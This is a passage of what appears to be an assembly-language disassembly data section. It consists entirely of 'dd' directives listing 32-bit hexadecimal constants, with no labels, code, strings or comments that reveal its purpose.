0DCEEE62Fh, 0BD7F5601h dd 9FF136CEh, 99D03AD9h, 1A3807D9h, 4F5CF28Ch, 0EB366480h dd 40C3CC94h, 0E025CEC4h, 152778D0h, 40F1D21Dh, 0CC9D0F7Ch dd 0B003E03Eh, 0C5E0BA91h, 6EF0EB3Ah, 98C130A4h, 0DD9EE43Dh dd 10791C4Ch, 1EFE536h, 27C38D7Fh, 3DD19DEBh, 0EC0A604Dh dd 10FDE7B2h, 746B1FA4h, 28C915A5h, 0D18B187Fh, 2940A4FCh dd 0A035FADh, 0F29EF628h, 6024C72Ch, 0F02790E8h, 21F5E3Eh dd 4D03E792h, 7F3898E4h, 679500E6h, 24C68A93h, 0C552ECE1h dd 0C0409114h, 91934DF1h, 0E35C0796h, 42366FD2h, 0F8A0C2E7h dd 59F728C3h, 0AB9C0D4Ch, 0E40093ACh, 0F0BA456Eh, 1D844460h dd 0C77AF2BFh, 0B12ECEE7h, 3022DD9Fh, 35269534h, 18BA00F1h dd 0B328969Eh, 9328241Dh, 0D2EC8098h, 0E7AB6FCAh, 0E62BDD0Dh dd 50920899h, 0AFA8031Ch, 0CCC44DDFh, 6B1F0E20h, 3E09EF93h dd 50EC0DEDh, 6858CC7Fh, 6991B13Eh, 5D04F490h, 581E2474h dd 24C30030h, 216D93EBh, 4A901B58h, 40A598A8h, 9D1B7158h dd 54B02FD9h, 8F010478h, 0F036DCD7h, 0E2E005E8h, 40C662ECh dd 0C060CD9Eh, 3901CE93h, 2ED29F1Eh, 50D398E4h, 24638C10h dd 2B0D345h, 28D8D1E6h, 259170C0h, 1B78FC98h, 0A083DF24h dd 0CE94E206h, 0DA9F3110h, 21D8E960h, 255882ACh, 55DCD0E6h dd 4007D863h, 2AC2C4DFh, 0F0C8EC46h, 0B52AF1EAh, 0D960AFD4h dd 0E6A03194h, 0D0B32A9Eh, 0F829F5EFh, 0F11A21D0h, 2D4ECE6h dd 1B29CC91h, 60C6DE93h, 651CA578h, 0D145E836h, 0CCC5EA28h dd 8FABB864h, 259B3FB0h, 3A845E71h, 1EE8E424h, 0C8ED8F27h dd 25C23098h, 54E8E725h, 7F675070h, 0F4D70C9Eh, 1A481E05h dd 0C480CCEEh, 0B03CC488h, 0E4DC59B4h, 0D838D2C4h, 98B0900Ch dd 35C29816h, 92DDDC0Eh, 28DCD80Dh, 0C43AF2F3h, 311C90C4h dd 280936D1h, 4AC461E4h, 50DC7CE4h, 0B782C0ACh, 0E09FE982h dd 74D21620h, 6FE8F8CCh, 0C38F68DCh, 0C2D7E081h, 4B207228h dd 0A42C9010h, 80CD3C87h, 9DB0A02Eh, 9FF6E1E9h, 0EE812B58h dd 98EF22C2h, 91B005F3h, 349082B8h, 0CA508018h, 0CBE7F54h dd 95015DDFh, 62E7A54Dh, 29E846Ch, 7F35CA99h, 0F07A291Ch dd 6449D118h, 0BA0525C8h, 0EB27DD99h, 0F8E950A3h, 9B0B903Ah dd 21B25CDh, 0E88F27D8h, 15D7E664h, 401A3CDCh, 0F8124E2Fh dd 0B1935020h, 7DE88641h, 20F12B2Eh, 0D99BEC84h, 0DDF0C1BAh dd 4B443C29h, 8993ACE8h, 0C7D43C3Ch, 0CD40BF91h, 399E55Ah dd 0D1E42BD9h, 9FC13AC4h, 948C706Ch, 0E33B9117h, 8F569000h dd 0F95AD2B4h, 9A508005h, 21C03EDAh, 0C09FF73Ah, 27E07436h dd 50A424D9h, 0CC8B61Ah, 68C2F17Fh, 54F5FBEh, 0D43C90A2h dd 80342EE8h, 1E3AC08Dh, 0E850BE9Fh, 8D825D68h, 0FBF024C6h dd 91BB8290h, 0F0801B27h, 79A3BE71h, 9D00BAE8h, 93F124C0h dd 0CEE639CBh, 0CDE11A21h, 0D1EE1E2Bh, 19C8473Eh, 0B3AD30C3h dd 63B313E0h, 38358084h, 93CF102Fh, 0EB2BC69Ch, 94F8E8BEh dd 0E328AF6Bh, 0C088A160h, 0DC001C21h, 0B494E72Ch, 0C9E800A0h dd 0DEECF125h, 0C3FEE6E8h, 0DD12B89Ch, 0A9F2E098h, 80444FC4h dd 0D2858C21h, 0EE92F839h, 2CEF540Fh, 14DED841h, 0DC9EF03Ah dd 4F932874h, 0A3D883D0h, 3DB0C0E3h, 0C6EE26E4h, 62283C04h dd 0CEEC0180h, 0A475A33Ah, 0CDB04238h, 60D2F0A6h, 51C2E917h dd 0C304DCCCh, 3FD1D028h, 5225E920h, 0DC5358DFh, 0D696BD12h dd 0C0163060h, 0D48CA32Eh, 83EF1236h, 0EC440AC6h, 644C69F4h dd 0CD92F09Eh, 30832013h, 3E6CE01Eh, 0B89F6CF1h, 0C0D065E8h dd 1A2717F0h, 0EBBFB4A8h, 953B0370h, 4E6746F2h, 69A21900h dd 65F418D8h, 337B1975h, 34A4087Dh, 6100F390h, 9DC4ECD8h dd 76686BBh, 0C8AE3129h, 4840D06Ch, 4544BE90h, 75F57EACh dd 0FB71F4h, 71CDAF17h, 0B4C8C65Ch, 58307463h, 27913E81h dd 4702181Fh, 0C769BFECh, 0DB0FC09Bh, 0A1707147h, 0EB363F00h dd 0A2843218h, 427C1698h, 661CCCh, 484386D4h, 0D61825F1h dd 0B307FA3h, 609569B4h, 7AEAF382h, 2078415Fh, 807CE1C4h dd 0EB0F92C8h, 38D4D23Eh, 149E7E20h, 209041ABh, 18E271F1h dd 8D9113D7h, 0D170A41Bh, 0E0013270h, 4FDB3D38h, 8985570h dd 4A7C21D5h, 69002CE0h, 71A94344h, 3FC6EF6h, 0A5A8F238h dd 4AF29F8Fh, 522DCCA0h, 0F60310B1h, 73C8689Ch, 345B088h dd 5CE8C3ABh, 4EB1AE8Ch, 0C8904ABBh, 42616C50h, 0AAF22409h dd 0D4007D12h, 0C049963Eh, 4E401CA6h, 424120E9h, 1C5D8481h dd 0E1A40070h, 446DD632h, 61C7BBC2h, 48250236h, 73CBA003h dd 0A85EC238h, 0B808C008h, 0B931BD63h, 11A1A0C8h, 0BEF888CDh dd 39D12C37h, 54E04ED8h, 0BB48253Ah, 0E60A940Ah, 86C41C69h dd 0F1898A0Ch, 83025Ch, 417C9A84h, 1730EDh, 6816DBD3h dd 53BE224Eh, 0D0A861C0h, 0F0B138F3h, 2CCD1E7Eh, 0A9CB4007h dd 27B9C7B8h, 0A490DA28h, 9587E900h, 1E31366Ah, 0A0DC30FAh dd 6E34CD80h, 91CC4F50h, 0E74ED12h, 0DBF3472h, 0E5AC1C38h dd 0E250E749h, 0C2E028A1h, 1D301002h, 0A8FF00CCh, 948BB2ADh dd 549173C2h, 6D18AAD1h, 7D03B479h, 69CF33B1h, 0E7790063h dd 8729C6B2h, 19005C47h, 551509A7h, 73D01B7Ch, 49A46069h dd 6A652889h, 0EC38E71Ch, 7A41D55Dh, 1934154Bh, 47BE8041h dd 0AA072310h, 0D393AC1Fh, 88B34B40h, 4970C2D2h, 97EC140Dh dd 160E2446h, 13419E64h, 80BF6A43h, 41C045A9h, 3124DA9h dd 7AF615EAh dd 29D82876h, 0FC704AC8h, 1D39CA18h, 30A2E470h, 49B97D1Ah dd 7B4CE8CFh, 0D136026Ch, 48180CC1h, 24333210h, 5408CE75h dd 1110A943h, 0C8C9044Ah, 0C4848CCCh, 0DCD0F404h, 4C22D49Eh dd 0C1082087h, 30EECF10h, 0B8DE605Dh, 78F01838h, 69D40AC9h dd 18DDA04Eh, 467E18h, 5347D944h, 6E92E3E7h, 70B25612h dd 0BEF045FAh, 0DD8C4046h, 0C2E43725h, 0FC8AA725h, 0EEF560E8h dd 2A30FA02h, 54FB1009h, 4D492822h, 0B2111FD4h, 3F513139h dd 0C460DEC8h, 909AAACEh, 3A644944h, 0E9922A6Bh, 2430FFE4h dd 129FDAB9h, 30214F90h, 0F5864E30h, 4CB5202h, 40DB1E82h dd 4BC9B719h, 0C08CFC7Fh, 404ACC1Ch, 0FC304B84h, 9009C3Ch dd 6916E042h, 604FCD0h, 6A2C36B8h, 9020B1h, 0D17820h, 353F60E2h dd 6653CBA7h, 951958A0h, 8B209D05h, 0B80A3677h, 0FEA5C0D4h dd 0E9836054h, 5BE6C026h, 3301C101h, 4E7A2C4Ch, 1CA468A3h dd 0C0A06E2h, 0E15338A2h, 14C20C58h, 58412802h, 72C0D0E0h dd 0D0F350DDh, 0D11D801h, 8853F7A7h, 0FF681820h, 0A18F440h dd 434814h, 647765A2h, 8FC701BCh, 2475E525h, 0FCD5F1D9h dd 7F1403E7h, 80E05ABFh, 940E9271h, 0AFE3061Eh, 8BB16BEh dd 5A218D60h, 75180E8Ah, 5F7B031Fh, 0A6449F2h, 0D02CC018h dd 0ECA2E9h, 36F73797h, 8868D874h, 0C829CA2h, 4E7549C6h dd 46789068h, 0B37388Ch, 1C2538E1h, 0E07B7ACCh, 0BA600085h dd 3EEED9Dh, 0A13F6F79h, 38F161E3h, 0E7E57ACAh, 0E8910421h dd 0E1980BCh, 8C8B1E67h, 5B8944h, 0E3C30E91h, 843A72B9h dd 810CC748h, 0D41E25B3h, 74102422h, 3C0806A6h, 3818A46Eh dd 0A818C65Fh, 85D9E066h, 86607C05h, 2414C584h, 45AA11A4h dd 553B1453h, 48DEE21Ah, 8DD0BCB3h, 0D0C5E0E1h, 2442FD84h dd 46A1CE24h, 0A3D4406Ch, 0F24DC70h, 0BFC058E5h, 0C133B2h dd 848B6DE9h, 0A2454C8h, 6A85A342h, 0B5B840B8h, 20C03805h dd 79EEA16h, 9B04C400h, 0ADC234E5h, 60A964E4h, 0E4A0C9ADh dd 57B9826h, 0B962B3EBh, 0DEE44F7Ah, 0C649FE20h, 95321E8Fh dd 0C84D09C1h, 5A3BE1Ch, 0BC6467CFh, 98800468h, 0F2940219h dd 8F9C5141h, 0F4C4D86Ah, 79637Dh, 0D8628221h, 17AA3078h dd 39FF3Fh, 2690897Ah, 95093Bh, 0CA0B20F9h, 22CF4011h dd 2F36E200h, 1297FA48h, 3B08005Eh, 0A33DA4CEh, 2760448Fh dd 0B787338h, 0DD2B3E79h, 3FB4608Ch, 0AF07CD18h, 5FD61DEDh dd 580A36h, 669B3630h, 0C4BB753Dh, 9369B904h, 57813A52h dd 0D4D0265Fh, 0F7600616h, 1036270Ch, 684E7F00h, 0EBB9D8E1h dd 3430CFB5h, 510B5018h, 6B0199FCh, 23FCC0FEh, 6C489D21h dd 307B0685h, 305D03DEh, 9371CA00h, 0ECDB6E4Dh, 90D71BE6h dd 21D608F4h, 0DCEC76B0h, 7FBD8106h, 3A485B44h, 74807870h dd 0A9EED62h, 50F9F9A8h, 16A4D098h, 0D6BD8A01h, 0C6B55DB7h dd 212C0898h, 1600DCF6h, 0C959420Eh, 3B5FFA3h, 79370413h dd 600324E8h, 32EA1180h, 0AAD900D6h, 60A27BB7h, 619D46Ch dd 0E4089C5Bh, 8F942181h, 30B06B7Bh, 0BD1EACFAh, 5482C0C2h dd 0A20DC8B9h, 80AF889Ch, 55EAAA8h, 548718BDh, 0C4447042h dd 39440091h, 0AEC21340h, 5CF6589Fh, 0C4A025E8h, 38399888h dd 43BF0BD1h, 4A05DF71h, 18F431CAh, 88831010h, 3730Ch dd 0ACC6BF0Bh, 0A3F96015h, 5FDF5C09h, 90C24C4h, 9701C240h dd 0C2F1AB34h, 60A9B084h, 23B516A5h, 2911DEBDh, 16DDFB01h dd 0D0451839h, 0F065FBAh, 0FA9DDF63h, 959A0368h, 0C3B91ECDh dd 0CE2080FCh, 9D01CF60h, 0A35FD915h, 82D88351h, 0C50F0690h dd 28C0F5A9h, 2700452h, 63288B9Ah, 5AB4B0BCh, 0C9FD30A9h dd 0F82B0230h, 45993D60h, 86899Eh, 0E1A68A47h, 876495EEh dd 1A82055h, 40A4C8h, 6899DCDBh, 0C0CC68E1h, 8714A897h dd 98852100h, 0A26380B3h, 60DEE2DAh, 9FBD693Ah, 54927249h dd 0E6A5D8F1h, 75AB90C0h, 29AF71AAh, 30F0D9DAh, 35FFF0C8h dd 0C75EAC06h, 878E225h, 283287A1h, 487C1001h, 2020CB20h dd 8FDB0AB6h, 80D80718h, 921D6DEBh, 3D0C8793h, 8978C34h dd 20DB6019h, 0B412A5C9h, 7E634B01h, 70CB23B5h, 2008F09Dh dd 8A0A4A1Ch, 0C0DFF848h, 8BB4696h, 449469C1h, 98432EABh dd 950BF79h, 2697A3A8h, 513473CDh, 8100D318h, 0FC5E2F83h dd 0E22B8839h, 0B6532E12h, 20F50063h, 937543AEh, 0B1F01D77h dd 0C4A17CA4h, 8B418E9h, 6460A17Bh, 9744E7C4h, 0EA5C08Ch dd 0B328B913h, 9628BCD9h, 6891890Ch, 77549502h, 0D81840D6h dd 3EF8A351h, 33109428h, 0A37F003Bh, 0CDDF1505h, 0FBD0C1F1h dd 34106111h, 0ECF3794Ch, 9A09D185h, 82097644h, 94725450h dd 9AA0A184h, 1648A218h, 0A0C62438h, 0F0402EC4h, 13A116DAh dd 0C49ACB01h, 0C7CF5551h, 3328D033h, 0DBB80078h, 440C3DFFh dd 2A0FA541h, 0F8515Eh, 641D37C9h, 88E20032h, 0C7416F11h dd 5CF88B75h, 0EEECA608h, 123E1093h, 2821B446h, 5BD44945h dd 24FE98B1h, 13CC0DF1h, 0ED6214B0h, 30651448h, 0F4F04257h dd 4C6A532Ch, 9A052462h, 44A8075Fh, 810448F7h, 0C2C29590h dd 0A0BC81DCh, 10ECABB8h, 0F4085045h, 1E420327h, 0DBB5307Ah dd 707098CCh, 93ED1D08h, 401FC49Fh, 3812A8CCh, 0E7010052h dd 6997DE87h, 21008B94h, 9CF655EDh, 51A5A916h, 6091A0ACh dd 1D6C808Ch, 437F9391h, 418223Ch, 3612A4C8h, 0DDD0814Ch dd 4884514h, 14298A0h, 0C3A138A5h, 81DC5435h, 8C271516h dd 6304D4D5h, 0C8E759C7h, 9DE6F15Ch, 5344010Ah, 9000902Bh dd 1E4BB207h, 2864F88Dh, 9894D04Fh, 0FDB4698h, 48734DE8h dd 4075C4F4h, 874DE051h, 88481DE2h, 0A5D9407Ah, 3A37E1Fh dd 1DD05E0Ch, 3BF90Fh, 0BB808232h, 0D8A2276Ch, 8C660A3Bh dd 0D841907Fh, 153DFACAh, 0F0770C8Eh, 0E3841100h, 4AA382ABh dd 3F03131Ah, 0B708C078h, 2C9080E2h, 940C312h, 0DF6BB802h dd 88417D73h, 0B2083E8h, 0D5E04E86h, 82A1203Dh, 560C2820h dd 970A84DAh, 2CE56A4Dh, 0EF9E701Ch, 58CFC8ECh, 0A900B07Fh dd 8F4BE70Ah, 700931Bh, 0FAB2952Ah, 502B5448h, 909EB8C7h dd 7A446D8h, 0BDB616A0h, 402DC428h, 0A216D8FAh, 0D76E02F0h dd 0D4355520h, 1FC7FCA0h, 78E0F3F5h, 23037502h, 0A0161DCDh dd 39A242C0h, 289802D0h, 5E9A6E78h, 0A90518CCh, 0F491FA58h dd 3820D499h, 0E42548ABh, 0E5118109h, 7B8890B0h, 8460A511h dd 9B87AE88h, 31707B80h, 0EADBC13h, 8C8561D3h, 11E00D60h dd 0A0A85F59h, 2B13B57Fh, 0C802EC72h, 1D3A122Dh, 0D8EB191h dd 87D047E1h, 0A8A0C7E4h, 24380958h, 9938505Ah, 59A76212h dd 660CC204h, 40F2B4D1h, 0C92B2180h, 0BBA056A2h, 22D69200h dd 0EB27E66h, 126F7682h, 493551DBh, 9001A530h, 82ADA171h dd 3B570C10h, 49506830h, 20D94162h, 48C8E04h, 93971D6Ah dd 201F624Fh, 7E12A2CAh, 52795A00h, 7668C81Bh, 5CEF0C7Ah dd 8F603CD3h, 1AE0E561h, 70C25Ah, 330CF460h, 0B9812C53h dd 6E8E4FCCh, 5712835Ch, 38E9064Eh, 0B8D635A9h, 22544A12h dd 10D4C40Bh, 35A1DA3Ch, 220B953h, 0DD27FCCh, 6C882701h dd 0C7612982h, 1842E379h, 8829E88Bh, 0D4B9DC22h, 0E70F0C20h dd 71D28026h, 0D0BF8124h, 0CF52DD9Ch, 0CB14C5h, 0A1CF2AC8h dd 93DA8EEAh, 7F02B9BEh, 3B754889h, 0A8C23452h, 0F005D7h dd 7E1638B0h dd 325BC0Ch, 1E1F3942h, 79E6FB4Dh, 862B0F00h, 0D7156533h dd 0CB0278E4h, 0C9593A9h, 3FE4E4AFh, 50D8470Ah, 0FC00F177h dd 2F403F0Ch, 49970A8Fh, 4C9CC354h, 2B67F869h, 7E818EA9h dd 61E4B3E4h, 8DD20E9Ch, 0F48387EDh, 0BBB29BBh, 94719088h dd 988074B2h, 41CF34DCh, 8B2484E0h, 0F811E8A6h, 0B2FF0022h dd 594CBBFEh, 9C0F0063h, 0B68BE4AAh, 0DF00831Ch, 0C5F62693h dd 0F9440B67h, 13381064h, 57B85BB9h, 60782790h, 9E72D917h dd 0DE33F718h, 0FB880ED1h, 0D6B0D0h, 0DDA5C7B6h, 0F82B01B1h dd 0F6893860h, 6A3E74h, 23E87CBCh, 25948FA3h, 348CB096h dd 98DD280Ch, 183860B5h, 0EA39F75Fh, 54B5D8A0h, 7BF8BB0Bh dd 292889EFh, 0C49C4548h, 0EA7F60E7h, 2038987Eh, 0D43267F7h dd 6403703Eh, 35BB0010h, 0E09FD9FFh, 7246495h, 554EA827h dd 11A903C4h, 884B106Ah, 1BD2D5Ah, 0F6FDAABh, 472F1F67h dd 1F078418h, 9AF5EC6h, 7FA313D1h, 7B008150h, 0BC2C3880h dd 0A43D1h, 6686ECA1h, 15BD4F9h, 0F5DF3B52h, 45D88364h dd 894481D8h, 402209E9h, 8730E5E2h, 565D0115h, 0B025C29Fh dd 0B4291Dh, 7E6EB568h, 0B0DC5AFDh, 0BB061F66h, 5DF6C709h dd 0D75E602Ch, 40981661h, 178D950Ah, 215C7444h, 6E890B29h dd 1B7483BCh, 0E4CCECD4h, 0AA5B0C7Ah, 72588DCFh, 7B199063h dd 0F0F0743Bh, 8BB1CBB3h, 38216C00h, 0E05C5FD4h, 348F2E7Ch dd 1F15DCA6h, 0D0492CECh, 6D8998C1h, 9064D745h, 23D60E3h dd 1774185Ch, 49327744h, 0DB846024h, 468B241h, 23976496h dd 9FA3B100h, 903291h, 8D20D8B0h, 0FF950CEEh, 0DDC8292Bh dd 0F8EBD22Ah, 28D114B1h, 0A713CB18h, 38C077DEh, 3E6817ACh dd 6100451Eh, 0AF556D1Ch, 8F00CAEAh, 76AEF28Ch, 2CA95Dh dd 72940D1Ah, 3F8E621Eh, 166CA3Bh, 40C4CD8h, 5AD4C561h dd 17F765Eh, 0F3182E9Bh, 0D47E9FF9h, 28986C06h, 0A7196207h dd 5582FD95h, 0E04EC344h, 60361CCBh, 0C83881D1h, 92FABF4h dd 5776D5h, 6E8A2C88h, 0B1033BC3h, 0DF8FEEC0h, 0B78001ABh dd 0F76FEC7Fh, 5C1080C2h, 5DB12E36h, 79580D38h, 0CD60D86Ch dd 2C08967Dh, 985A8700h, 9761E9h, 1E5FE0E2h, 4CEEE563h dd 0CC188E61h, 9180C335h, 0C659B9DFh, 62E0A548h, 0DC0998E1h dd 7B1BF21h, 199DB259h, 0BA47E152h, 6CB4ECA1h, 0D0FF8F15h dd 443C0D94h, 0A002F0F2h, 540C8193h, 0A0400D90h, 156D24E6h dd 0A4D2E8CFh, 84F3418h, 54E4371Ch, 0A20E000h, 45B3E9AAh dd 7DE7085h, 0BD07553h, 8BF6E049h, 0C30067C2h, 621044DAh dd 7C1C563h, 7239229Ch, 88518D93h, 12EBF090h, 697906C4h dd 7F00D06Dh, 8C8DD113h, 7E70E004h, 4FD91451h, 0B840A034h dd 0C061ECB4h, 26188D49h, 0B06D6C2h, 3DE2085h, 21876008h dd 7926109Eh, 6858560Fh, 0C8C60A09h, 7E04C86h, 442C87F8h dd 18636088h, 4571FCh, 97F867B6h, 198F052Ah, 0F3E440FBh dd 41E9E0DAh, 80573408h, 6EFC2C41h, 0FEAB52E2h, 384E0084h dd 0DD995BD5h, 2A1491BBh, 61C6D85h, 89BCD293h, 0E84C0910h dd 68076BFBh, 83F8C391h, 5A1E1870h, 0A400696Ah, 0F590DECCh dd 0F7112B9Dh, 445601F8h, 1860FAA0h, 155D40CAh, 0F087F407h dd 119776Fh, 6B67CDCCh, 5C247F00h, 0EF34100h, 0B582F2B6h dd 54D70C65h, 0B950FF9Ch, 20616C07h, 23369FF0h, 34D60940h dd 3C20F3CCh, 323E5D4Bh, 0E5009090h, 0AD42AE4h, 6ABA97EEh dd 8CCA0DEh, 4C0CFB54h, 3F61781Dh, 9F3BEDB5h, 0E8492884h dd 0B2E89007h, 3D900F5Dh, 60FC29CFh, 0A193B982h, 9B6532A3h dd 68480F09h, 82128DDCh, 4004F2FFh, 0C91E40h, 9841089h dd 52C0080Ch, 65547D44h, 4B1E1A4h, 40724DCCh, 0CCDA9365h dd 0F0CE8064h, 0D8B044A3h, 0F090BC95h, 2092C430h, 481FF048h dd 15269079h, 0BEB10029h, 19BB99DEh, 6998249Ah, 922CAF4Ch dd 0CA233404h, 3A4AC300h, 0A8505EB1h, 48C27CD0h, 68DCF325h dd 0A8726820h, 5CCD38D4h, 2005091h, 8A80EED2h, 0C23CA443h dd 0F0C98F9Ah, 0D3415867h, 0D16662A0h, 3C6CCB61h, 0C759BC04h dd 0DB62AD48h, 59B4C020h, 930D2CD4h, 8BA9004Dh, 0F84B34ABh dd 6083DD30h, 0C3DA8033h, 664A5C30h, 91C7A100h, 0A0214B0Dh dd 71B9372Ah, 13D8C080h, 80283CE0h, 0B0E4C40Bh, 0B60F8600h dd 33381D91h, 946D5414h, 0DAD640B2h, 6CF45C13h, 50623400h dd 24E617C9h, 80788B67h, 0CC7AF36Dh, 20A73790h, 0C077E108h dd 0EA156D72h, 88CF612Bh, 0CB59C001h, 0D718CD48h, 0B80488h dd 0F59A7459h, 813EDDD4h, 0BAB12603h, 0A05243E4h, 78D8CAD5h dd 0A52B1E3Fh, 0C3DFCE34h, 4086401Dh, 8C8BE887h, 241B9CA1h dd 5C29C924h, 0E1039C4Bh, 0D918EE37h, 2FC94564h, 0EFF4F3F0h dd 7D150C32h, 0E24ECA6h, 30171F94h, 9B11B410h, 6D5C6801h dd 601BD835h, 0B6AA7425h, 8C9050BCh, 44D9449Ah, 48292720h dd 181834B1h, 0F87E6876h, 1180AD76h, 6EF4002Dh, 0E84D4591h dd 0CC905FA3h, 936CCC18h, 0F181E660h, 426020h, 0C9B21399h dd 0A76E9E2Ah, 24CC68D5h, 0CC08FC1Ch, 25880CECh, 65789919h dd 2412D603h, 2A19C045h, 3C886420h, 416A9572h, 0BD290190h dd 6BE2C026h, 8C56F9A1h, 7A9F2228h, 36BAACA1h, 261E02F4h dd 31FBD6BCh, 16A41053h, 5E4B0526h, 92684C31h, 64C4332Ch dd 0FDC6C900h, 20425793h, 8C7551EAh, 1A447841h, 3083E454h dd 0E420DD93h, 1D20C681h, 86B0EC1Eh, 8E0E4C3h, 0A7217D60h dd 0E6CD20CEh, 0F533D16h, 547DA82h, 0CC8EB314h, 8E022668h dd 87D23E97h, 73579DA4h, 0CBF3EAC0h, 4C6E091Bh, 70912070h dd 0F6C4E05Eh, 36F208A0h, 0C7200CB0h, 4CD63FDCh, 28BC0524h dd 80E94D04h, 55E88C4Ch, 143B2C8Ch, 0C31F0087h, 0B7B14939h dd 0C547E74h, 0C50077ECh, 18E6EEE0h, 486AFE7Ah, 378F239h dd 878C790Ah, 982EE1FFh, 0A708E0C7h, 0E213026Bh, 44448144h dd 93800D7Fh, 6645242Ah, 2F974384h, 2668304Ch, 1401DC95h dd 8811F87Fh, 0C1564C34h, 0ACD4C6B1h, 0B012D0B3h, 44D75B09h dd 947C287Ah, 80DC9D15h, 0EC1820C4h, 7E448CE0h, 20CC00A1h dd 0A2D5CA9Bh, 7538C6D0h, 44400E18h, 28FB45DBh, 0C0922C08h dd 0EC1D20C7h, 0AC3AB841h, 7AE5A81h, 0B0554560h, 2A595E95h dd 9A0ECEFEh, 0BC8B50E5h, 0B5FFFA80h, 1805F317h, 3714E806h dd 0B7008AF2h, 0A7759866h, 1EE03841h, 5481F0h, 0C5A3203Bh dd 80034BDFh, 0FF5988EDh, 329E895h, 3B6A7006h, 4D61E856h dd 0C9C35E20h, 33EE3B89h, 21001CB5h, 0B1C35646h, 172FE9Ah dd 6C26F834h, 0C595898Bh, 0F654BB24h, 0C1B7937h, 9C985C1h dd 1A10FC03h, 8D3E205Dh, 80CD08B0h, 5002A8C6h, 83E28166h dd 89759078h, 280D348Dh, 515E6236h, 0E4C35930h, 224C4689h dd 5141001Ah, 499BB9C3h, 0ED3325A7h, 52BA030h, 0D1B50969h dd 0E74F051Bh, 35400CF2h, 4DA45019h, 11BD8B08h, 56775325h dd 23060A50h, 0DFE031D8h, 607664B8h, 85B54FDAh, 0A10D2950h dd 32084C1Eh, 4ACA0F81h, 99B1D3A5h, 10EDE74Ch, 40276291h dd 0C4211B1h, 0F65F530h, 5062D1BFh, 0B02AB1B2h, 2B9D2933h dd 84651BF5h, 2111CDBDh, 0BE4F22EDh, 0D2C11788h, 60FC68DAh dd 386B1FB8h, 946118E2h, 5AA13269h, 2A1D15A9h, 502913D0h dd 18197139h, 0D6BE00AFh, 0F48683Eh, 1FC00A8Bh, 0D9B58960h dd 98599231h, 0C8888CFEh dd 5DC3556Eh, 6C8991C3h, 0DD931D18h, 0CCF8AA00h, 2D19653h dd 11C11FA1h, 0A9B1F5F9h, 1BA443FCh, 0B2C06853h, 42D33114h dd 0B113B894h, 8B130C15h, 821411F1h, 5EE1810Eh, 0B95C62A9h dd 23F9955Ch, 850F0C0Ah, 60E96B12h, 0EB500B0Dh, 5F07FE31h dd 1F2BB3BCh, 0C4878681h, 55EE7ABBh, 262108D2h, 163F220h dd 305F523Ch, 0FC27AFACh, 5056C0B1h, 1253B37Ch, 2102B966h dd 3F4B316h, 0BD8C15F5h, 1E50832Dh, 71315019h, 80264421h dd 0DC510844h, 7696EA34h, 81C05159h, 8A528DAh, 80031F31h dd 70FE88BDh, 1126C86Ch, 5F303192h, 0D8159FE9h, 2541A816h dd 3BBD8380h, 1E502831h, 81B38B19h, 26DB0B70h, 84271147h dd 8D090567h, 7A0A0D01h, 0E992A64Ch, 2C76720h, 0A162072Fh dd 5787048Ah, 8D59F6C9h, 14449DA7h, 48E84961h, 0A71FAC85h dd 0EF5714AEh, 0E5BB21EEh, 4E19C8F9h, 8E1DB300h, 1B4B94C6h dd 8077079Dh, 125F24C2h, 77830FE9h, 0C226C9BFh, 5162A037h dd 46F14601h, 0C35A1C52h, 0C4548988h, 52424015h, 5841CFC3h dd 11202C09h, 0CEE95729h, 60B80F00h, 1B418A1h, 0F4615F19h dd 0C8D60E2Bh, 1D24649Bh, 0E9C34F59h, 653B0010h, 0C9D66382h dd 0D50429E5h, 95EC6693h, 3E2D6781h, 29BA5660h, 42EF07CFh dd 5A2C3F84h, 29F440D5h, 0B392DDEEh, 534CE938h, 301BE2CDh dd 0DE011126h, 0B8A9DF33h, 0D448E9EAh, 0B35D06A7h, 7EC36FDAh dd 0A650BE44h, 9A20008Ah, 98AEC347h, 74005B2Dh, 8FB14B5Ah dd 24656A04h, 37A05F9Bh, 3A1099BCh, 5899F50Dh, 581CC63Fh dd 44898AC3h, 504070D2h, 4583C31Fh, 5CC2C941h, 0FE86B23h dd 3CF0EB7h, 2472498Dh, 493F85D3h, 0C33083D3h, 19C409FDh dd 0E1CD0D86h, 0B1014830h, 5AD00087h, 0C4836118h, 0BD29101Fh dd 8B9208E6h, 5BE8ED1Ch, 0CF506679h, 104439DDh, 12096275h dd 7420111Dh, 0C2535019h, 7D3B83Eh, 4075760Ch, 9D148D17h dd 58DB091h, 585BD3FFh, 8172262h, 0AD807820h, 0D281058Ch dd 1C4E1002h, 0B75315C8h, 22C35B87h, 0DD475C89h, 0C3534303h dd 0F16415BBh, 87117E2Ch, 0E0E92413h, 413F4D40h, 0EB900060h dd 0E761B0F1h, 7D091792h, 10BD812Fh, 7F726FD3h, 446E9065h dd 0A649B186h, 0E508C9Dh, 11F443ECh, 0EE46F50Dh, 780CCF40h dd 2F3920C6h, 4F684402h, 0C096A318h, 91135953h, 38A7093Ch dd 8BD00F21h, 342C59D8h, 43A43785h, 0CEB84A8Ah, 0CA930874h dd 0BE65EB19h, 10C05B4Ah, 0AA4EBF52h, 5F445A13h, 0FCD76806h dd 30691228h, 23903B03h, 17CB001Dh, 0FB93D83Ch, 0D10E6C0Bh dd 9B90FD49h, 0FF003692h, 0EE603FA6h, 0F1254696h, 0C0581DA6h dd 12D9533h, 5F8B1C7h, 15E89EFEh, 1048F42h, 2293995h, 4B5D85C7h dd 0B221E6C2h, 0C32252BDh, 4FF26B2Ch, 62B1584h, 3D2F5AE9h dd 7709C781h, 87962A87h, 0C5A72358h, 2A081CC5h, 156FA696h dd 2463B3D5h, 61221BF9h, 2813982Ah, 441D2C25h, 6A91E878h dd 0C679E700h, 0F0A31Dh, 0CCAA8D8Ah, 0C9E4CD65h, 0C10FCB04h dd 12C090E1h, 48D0A8D9h, 0AB2C915Fh, 125D6243h, 1E91D6C7h dd 90C23E63h, 22D58BEDh, 79ACB017h, 0BDCDC20Dh, 9322289Dh dd 0F7810211h, 2DFE940h, 4694FF6h, 0C0F8B16h, 0B9C03956h dd 1819D18Fh, 0A199049Ch, 0CF0178D7h, 0FED4C86Eh, 0CEF4D442h dd 0C01888F1h, 0E45DDE53h, 15B19900h, 5C01F181h, 0E92134F6h dd 0C3A5C079h, 3A00D7E3h, 5EBAFA39h, 0C01A91D8h, 0F6B966E0h dd 0CDB06831h, 95EC47B0h, 0D90AD924h, 0B715BA40h, 0E6B6816h dd 1B465C53h, 1F18C200h, 0E4D73DFEh, 0DA808B09h, 0C90E82BAh dd 0D0B67309h, 360177B2h, 9D7F8ACAh, 7C23C433h, 0AABAC00Fh dd 70846B40h, 